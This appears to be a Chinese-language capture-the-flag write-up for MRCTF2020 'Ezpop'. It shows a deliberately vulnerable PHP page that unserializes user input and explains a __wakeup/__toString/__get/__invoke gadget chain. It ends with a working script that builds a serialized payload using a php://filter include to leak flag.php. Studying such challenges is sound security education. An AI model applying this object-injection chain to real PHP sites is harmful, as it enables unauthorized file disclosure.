[MRCTF2020]Ezpop
[MRCTF2020]Ezpop
Welcome to index.php <?php //flag is in flag.php //WTF IS THIS? //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95 //And Crack It! class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
首先可以知道这是一个反序列化的题,然后我们思路就是如何获取flag。
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
在这个类中我们会发现有一个include利用点,所以我们可以使用文件包含来获取Flag,而且他开头就已经提示Flag在flag.php中,所以我们使用php伪协议。
这里有一个invoke()方法,我们需要知道invoke()是把对象当作函数使用时会自动调用。
如下:

可以看到这里调用了invoke方法(这里就是把对象当作了函数进行调用)。
我们再看题目:
class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }
可以看到这里有一个return $function();,因此我们可以利用这个把一个对象当作函数进行调用。
不过在这之前,我们需要先调用Test类里的__get()方法;
如下;

可以看到当调用不存在的属性时会执行get()方法。
然后我们再看Show这个类。
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
根据题可知我们要是反序列化Show这个类时最先调用的是__wakeup()这个方法,因为__wakeup()方法在反序列化恢复对象之前最先调用该方法。
然后Show类中有__toString()方法,toString方法是将对象当作字符串时会自动调用。
如下:

若是没有toString()方法的话就会报错。
这道题我们让$a是Show类的对象,再通过Show类中的source使其指向Show类,(这里有一个知识点:preg_match会把source当作字符串来使用,若source是一个字符串那么就会进行匹配,但若是一个类的话就会执行类中的__toString方法,所以我们让source再次指向Show类)
这样当source就会执行新的Show类中的toString方法,然后toString()魔术方法中有调用source属性的操作,而Test类中不存在source属性,所以这里让$str为Test的一个对象即可, 然后Test类中的_get()魔术方法中的返回值$function()正好以函数的形式调用变量$function,所以让function为Modifier的对象就行。
所以代码如下:
<?php class Modifier { protected $var="php://filter/read=convert.base64-encode/resource=flag.php"; } class Test{ public $p; } class Show{ public $source; public $str; } $pop = new Show(); $pop->source = new Show(); $pop->source->str = new Test(); $pop->source->str->p = new Modifier(); echo urlencode(serialize($pop)); ?>
传入?pop=运行后的代码即可,然后再进行base64解码即可得到flag。

浙公网安备 33010602011771号